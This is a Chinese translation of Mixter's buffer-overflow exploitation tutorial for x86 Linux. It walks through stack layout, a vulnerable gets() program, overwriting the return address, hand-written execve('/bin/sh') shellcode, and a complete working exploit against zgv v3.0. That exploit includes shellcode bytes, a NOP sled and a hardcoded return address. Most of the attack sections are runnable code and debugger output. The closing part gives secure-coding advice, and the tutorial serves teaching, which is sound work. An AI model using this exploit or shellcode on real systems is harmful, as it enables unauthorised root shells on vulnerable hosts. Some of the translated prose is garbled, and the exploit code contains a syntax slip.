译者:IDF_Lab
说明
之前版本翻译质量不佳,本人赵阳在这里对本文的读者表示深深的歉意。由于本人的疏忽和大意导致您不能很好的读完这篇文章,同时也对原文内容进行了破坏,也对IDF和FreeBuf造成了一定的不良影响。我在这里对大家进行道歉!对翻译文章进行了即时的修改,同时感谢大家的评语!我会吸取此次教训,保证以后不会在出现类似的事情!请大家原谅!谢谢!
以下为正文
缓冲区溢出会出现在和用户输入相关缓冲区内,在一般情况下,这已经变成了现代计算机和网络方面最大的安全隐患之一。这是因为在程序的基础上很容易出现这种问题,但是这对于不了解或是无法获得源代码的使用者来说是不可能的,很多的类似问题就会被利用。本文就的目的就是教会新手特别是C程序员,说明怎么利用这种溢出环境。- Mixter
1 内存
注:我在这里的描述方法为:大多数计算机上内存作为进程的组织者,但是它依赖处理器结构的类型。这是一个x86的例子,同时也可以应用在sparc上。
缓冲区溢出的攻击原理是覆盖不能重写随机输入和在进程中执行代码的内存。要了解在什么地方和怎么发生的溢出,就让我们来看下内存是如何组织的。页是使用和它相关地址的内存的一个部分,这就意味着内核的进程内存的初始化,这就没有必要知道在RAM中分配的物理地址。进程内存由下面三个部分组成:
代码段,在这一段代码中的数据是通过处理器中执行的汇编指令。该代码的执行是非线性的,它可以跳过代码,跳跃,在某种特定情况下调用函数。以此,我们使用EIP指针,或是指针指令。其中EIP指向的地址总是包含下一个执行代码。
数据段,变量空间和动态缓冲器。
堆栈段,这是用来给函数传递变量的和为函数变量提供空间。栈的底部位于每一页的虚拟内存的末端,同时向下运动。汇编命令PUSHL会增加栈的顶部,POPL会从栈的顶部移除项目并且把它们放到寄存器中。为了直接访问栈寄存器,在栈的顶部有栈顶指针ESP。
2 函数
函数是一段代码段的代码,它被调用,执行一个任务,之后返回执行的前一个线程。或是把参数传递给函数,通常在汇编语言中,看起来是这样的(这是一个很简单的例子,只是为了了解一下概念)。
memory addresscode
0x8054321pushl $0x0
0x8054322call $0x80543a0
0x8054327ret
0x8054328leave
...
0x80543a0popl %eax
0x80543a1addl $0x1337,%eax
0x80543a4ret
这会发生什么?主函数调用了function(0);
变量是0,主要把它压入栈中,同时调用该函数。函数使用popl来获取栈中的变量。完成后,返回0×8054327。通常情况下,主函数要把EBP寄存器压入栈中,这是函数储存的和在结束后在储存的。这就是帧指针的概念,允许函数使用自己的偏移地址,在对付攻击时就变的很无趣了。因为函数将不会返回到原有的执行线程。
我们只需要知道栈是什么样的。在顶部,我们有函数的内部缓冲区和函数变量。在此之后,有保存的EBP寄存器(32位,4个字节),然后返回地址,是另外的4个字节。再往下,还有要传递给函数的参数,这对我们来说没有意义。
在这种情况下,我们返回的地址是0×8054327。在函数被调用时,它就会自动的存储到栈中。如果代码中存在溢出的地方,这个返回值会被覆盖,并且指针指向内存中的下一个位置。
3 一个可以利用的程序实例
让我们假设我们要利用的函数为:
void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
main() { lame (); return 0; }
Compile and disassemble it:
# cc -ggdb blah.c -o blah
/tmp/cca017401.o: In function 'lame':
/root/blah.c:1: the 'gets'; function is dangerous and should not be used.
# gdb blah
/* short explanation: gdb, the GNU debugger is used here to read the
binary file and disassemble it (translate bytes to assembler code) */
(gdb) disas main
Dump of assembler code for function main:
0x80484c8 : pushl %ebp
0x80484c9 : movl %esp,%ebp
0x80484cb : call 0x80484a0
0x80484d0 : leave
0x80484d1 : ret
(gdb) disas lame
Dump of assembler code for function lame:
/* saving the frame pointer onto the stack right before the ret address */
0x80484a0 : pushl %ebp
0x80484a1 : movl %esp,%ebp
/* enlarge the stack by 0x20 or 32. our buffer is 30 characters, but the
memory is allocated 4byte-wise (because the processor uses 32bit words)
this is the equivalent to: char small[30]; */
0x80484a3 : subl $0x20,%esp
/* load a pointer to small[30] (the space on the stack, which is located
at virtual address 0xffffffe0(%ebp)) on the stack, and call
the gets function: gets(small); */
0x80484a6 : leal 0xffffffe0(%ebp),%eax
0x80484a9 : pushl %eax
0x80484aa : call 0x80483ec
0x80484af : addl $0x4,%esp
/* load the address of small and the address of "%s\n" string on stack
and call the print function: printf("%s\n", small); */
0x80484b2 : leal 0xffffffe0(%ebp),%eax
0x80484b5 : pushl %eax
0x80484b6 : pushl $0x804852c
0x80484bb : call 0x80483dc
0x80484c0 : addl $0x8,%esp
/* get the return address, 0x80484d0, from stack and return to that address.
you don't see that explicitly here because it is done by the CPU as 'ret' */
0x80484c3 : leave
0x80484c4 : ret
End of assembler dump.
3a 程序溢出
# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<- user input
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Segmentation fault (core dumped)
# gdb blah core
(gdb) info registers
eax: 0x24 36
ecx: 0x804852f 134513967
edx: 0x1 1
ebx: 0x11a3c8 1156040
esp: 0xbffffdb8 -1073742408
ebp: 0x787878 7895160
EBP位于0×787878,这就意味我们已经写入了超出缓冲区输入可以控制的范围。0×78是十六进制的x。该过程有32个字节的最大的缓冲器。我们已经在内存中写入了比用户输入更多的数据,因此重写EBP,返回值的地址是‘xxxx’,这个过程会尝试在地址0×787878处重复执行,这就会导致段的错误。
3b 改变返回值地址
让我们尝试利用这个程序来返回lame()来代替它的返回值,我们要改变返回值的地址从0x80484d0到0x80484cb,在内存中,我们有32字节的缓冲区空间,4个字节保存EBP,4个字节的RET。下面是一个很简单的程序,把4个字节的返回地址变成一个1个字节字符缓冲区:
main()
{
int i=0; char buf[44];
for (i=0;i<=40;i+=4)
*(long *) &buf[i] = 0x80484cb;
puts(buf);
}
# ret
ËËËËËËËËËËË,
# (ret;cat)|./blah
test <- user input
ËËËËËËËËËËË,test
test <- user input
test
我们在这里使用这个程序运行了两次这个函数。如果有溢出存在,函数的返回值地址是可以变的,从而改变程序的执行线程。
4 Shellcode
为了简单,Shellcode使用简单的汇编指令,我们写在栈上,然后更改返回地址,使它返回到栈内。使用这个方法,我们可以把代码插入到一个脆弱的进程中,然后在栈中正确的执行它。所以,让我们通过插入的汇编代码来运行一个Shell。一个常见的调用命令是execve(),它可以加载和运行任意的二进制代码,终止当前执行的进程。手册中提供我们的用法为:
int execve (const char *filename, char *const argv [], char *const envp[]);
Lets get the details of the system call from glibc2:
# gdb /lib/libc.so.6
(gdb) disas execve
Dump of assembler code for function execve:
0x5da00 : pushl %ebx
/* this is the actual syscall. before a program would call execve, it would
push the arguments in reverse order on the stack: **envp, **argv, *filename */
/* put address of **envp into edx register */
0x5da01 : movl 0x10(%esp,1),%edx
/* put address of **argv into ecx register */
0x5da05 : movl 0xc(%esp,1),%ecx
/* put address of *filename into ebx register */
0x5da09 : movl 0x8(%esp,1),%ebx
/* put 0xb in eax register; 0xb == execve in the internal system call table */
0x5da0d : movl $0xb,%eax
/* give control to kernel, to execute execve instruction */
0x5da12 : int $0x80
0x5da14 : popl %ebx
0x5da15 : cmpl $0xfffff001,%eax
0x5da1a : jae 0x5da1d <__syscall_error>
0x5da1c : ret
结束汇编转存。
4a 使代码可移植
传统方式中,我们必须应用一个策略在内存中完成没有指导参数的Shellcode,通过给予它们在页存储上的精确位置,这只能在编译中完成。
一旦我们估计了shellcode的大小,我们能够使用指令jmp和call在执行线程向前或向后到达指定的字节。为什么使用call?call会自动的在栈内存储和返回地址,这个返回地址是在下一个call指令后的4个字节。在call运行后放置一个正确的变量,我们间接的把地址压进了栈中,没有必要了解它。
0 jmp (skip Z bytes forward)
2 popl %esi
... put function(s) here ...
Z call <-Z+2> (skip 2 less than Z bytes backward, to POPL)
Z+5 .string (first variable)
(注:如果你要写的代码比一个简单的shell还要复杂,你可以多次使用上面的代码。字符串放在代码的后面。你知道这些字符串的大小,因此一旦你知道第一个字符串的位置,就可以计算他们的相对位置。)
4b Shellcode
global code_start/* we';ll need this later, dont mind it */
global code_end
.data
code_start:
jmp 0x17
popl %esi
movl %esi,0x8(%esi)/* put address of **argv behind shellcode,
0x8 bytes behind it so a /bin/sh has place */
xorl %eax,%eax/* put 0 in %eax */
movb %eax,0x7(%esi)/* put terminating 0 after /bin/sh string */
movl %eax,0xc(%esi)/* another 0 to get the size of a long word */
my_execve:
movb $0xb,%al/* execve( */
movl %esi,%ebx/* "/bin/sh", */
leal 0x8(%esi),%ecx/* & of "/bin/sh", */
xorl %edx,%edx/* NULL */
int $0x80/* ); */
call -0x1c
.string "/bin/shX"/* X is overwritten by movb %eax,0x7(%esi) */
code_end:
(通过0×0相对偏移了0×17和-0x1c,编译,反汇编,看看shell代码的大小。)
这是一个正在运行着的shellcode,虽然很小。你至少要反汇编exit()来调用和依附它(在调用之前)。完成shellcode的正真的意义还包括避免任何二进制0代码和修改它,二进制代码不包含控制和小写字符,这将会过滤掉一些问题程序。大多数是通过自己修改代码来完成的,如我们使用的mov %eax,0×7(%esi)指令。我们用来取代X,但是在shellcode初始化中没有。
让我们测试下这些代码,把上面的代码保存为code.S同时把下面的文件保存为code.c:
extern void code_start(); extern void code_end(); #include <stdio.h> main() { ((void (*)(void)) code_start)(); } # cc -o code code.S code.c # ./code bash#
现在你可以把shellcode转移到16进制字符缓冲区。最好的方法就是把它打印出来:
#include <stdio.h> extern void code_start(); extern void code_end(); main() { fprintf(stderr,"%s",code_start);
通过使用aconv –h或bin2c.pl来解析它,可以在http://www.dec.net/~dhg或是http://members.tripod.com/mixtersecurity上找到工具。
5 写一个利用
让我们看看如何把返回地址指向的shellcode进行压栈,写了一个简单的例子。我们将要采用zgv,因为这是可以利用的一个最简单的方法。
# export HOME=`perl -e ';printf "a" x 2000''
# zgv
Segmentation fault (core dumped)
# gdb /usr/bin/zgv core
#0 0x61616161 in ?? ()
(gdb) info register esp
esp: 0xbffff574 -1073744524
那么,在故障时间时在栈顶,安全的假设是我们能够使用这作为我们shellcode的返回地址。
现在我们要在我们的缓冲区前增加一些NOP指令,所以我们没有必要关注对于内存中的精确开始我们shellcode预测的100%正确。这个函数将会在我们的shellcode之前返回到栈,通过使用NOPs的方式来初始化JMP命令,跳转到CALL,跳转到popl,在栈中运行我们的代码。
记住,栈是这样的。在最低级的内存地址,ESP指向栈的顶部,初始变量被储存,即缓冲器中的zgv储存了HOME环境变量。在那之后,我们保存了EBP和前一个函数的返回地址。我们必须要写8个字节或是更多在缓冲区后面,用栈中的新的地址来覆盖返回地址。
Zgv的缓冲器有1024个字节。你可以通过扫视代码来发现,或是通过在脆弱的函数中搜索初始化的subl $0×400,%esp (=1024)。我们可以把这些放在一起来利用。
5a zgv攻击实例
/* zgv v3.0 exploit by Mixter
buffer overflow tutorial - http://1337.tsx.org
sample exploit, works for example with precompiled
redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */
#include <stdio.h> #include <unistd.h> #include <stdlib.h>
/* This is the minimal shellcode from the tutorial */
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
#define NOP 0x90
#define LEN 1032
#define RET 0xbffff574
int main()
{
char buffer[LEN];
long retaddr = RET;
int i;
fprintf(stderr,"using address 0x%lx\n",retaddr);
/* this fills the whole buffer with the return address, see 3b) */
for (i=0;i<LEN;i+=4)
*(long *)&buffer[i] = retaddr;
/* this fills the initial buffer with NOP's, 100 chars less than the
buffer size, so the shellcode and return address fits in comfortably */
for (i=0;i<LEN-strlen(shellcode)-100);i++)
*(buffer+i) = NOP; /* after the end of the NOPs, we copy in the execve() shellcode */ memcpy(buffer+i,shellcode,strlen(shellcode));
/* export the variable, run zgv */ setenv("HOME", buffer, 1); execlp("zgv","zgv",NULL); return 0;
}
/* EOF */ We now have a string looking like this:
[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]
While zgv's stack looks like this:
v-- 0xbffff574 is here
[ S M A L L B U F F E R ] [SAVED EBP] [ORIGINAL RET]
The execution thread of zgv is now as follows:
main ... -> function() -> strcpy(smallbuffer,getenv("HOME"));
此时,zgv做不到边界检查,写入超出了smallbuffer,返回到main的地址被栈中的返回地址覆盖。function()离不开/ ret和栈中EIP指针。
0xbffff574 nop
0xbffff575 nop
0xbffff576 nop
0xbffff577 jmp $0x24 1
0xbffff579 popl %esi 3 <--\ |
[... shellcode starts here ...] | |
0xbffff59b call -$0x1c 2 <--/
0xbffff59e .string "/bin/shX"
让我们来测试这个应用
# cc -o zgx zgx.c # ./zgx using address 0xbffff574 bash#
5b 编写攻击的进一步提示
有很多可以被利用的程序,但尽管很脆弱。但是这有很多的技巧,你可以通过过滤等方式。还有其他的溢出技术,这并不一定要包括改变返回地址或只是返回地址。有指针溢出,函数分配的指针能够通过一个数据流来覆盖,改变程序执行的流程。利用返回地址指向shell环境指针,shellcode位于那里,而不是在栈上。
对于一个熟练掌握shellcode的人来说最根本上的是自己修改代码,最基本的包含可以打印,非白色的大写字母,然后修改自己它,把shellcode函数放在要执行的栈上。
在你的shell代码里不会有任何二进制零,因为如果它包含了就可能无法正常的工作。但是讨论怎么升华某种汇编指令与其他的命令超出了本文的范围。我也建议读其他大数据流,通过aleph1,Taeoh Oh和mudge来写的。
5c 重要注意事项
你将不能在Windows 或是Macintosh上使用这个教程,不要和我要cc.exe和gdb.exe。
6 结论
我们已经知道,一旦用户依赖存在的溢出,这就会用去90%的时间,即使利用起来有困难,同时要有一些技能。为什么写这个攻击很重要呢?因为软件企业是未知的。在软件缓冲区溢出方面的漏洞的报告已经有了,虽然这些软件没有更新,或是大多数用户没有更新,因为这个漏洞很难被利用,没有人认为这会成为一个安全隐患。然后,漏洞出现了,证明能够利用,这就要急于更新了。
作为程序员,写一个安全的程序是一个艰巨的任务,但是要认真的对待。在写入服务器时就变的更加值得关注,任何类型的安全程序,或是suid root的程序,或是设计时使用root来运行,如特别的账户或是系统本身。应用范围检测,分配动态缓冲器,输入的依赖性,数据大小,小心for,while等。收集数据和填充缓冲区,以及一般处理用户很关心的输入循环是我建议的主要原则。
目前使用非可执行的栈,suid包,防卫程序来核对返回值,边界核查编辑器等技术来阻止溢出问题,从而在安全行业取得了显著的成绩。你应该可以使用这些技术在特定的情况下,但是不要完全依赖他们。如果你运行vanilla的UNIX发行版时,有溢出保护或是防火墙/IDS,但是不要假设很安全。它不能保证安全,如果你继续使用不安全的程序,因为所有安全程序是软件的同时包含自身漏洞的,至少他们不是完美的。如果你频繁的使用更新和安全措施,你仍然不能得到渴望的安全,你只能希望是安全的。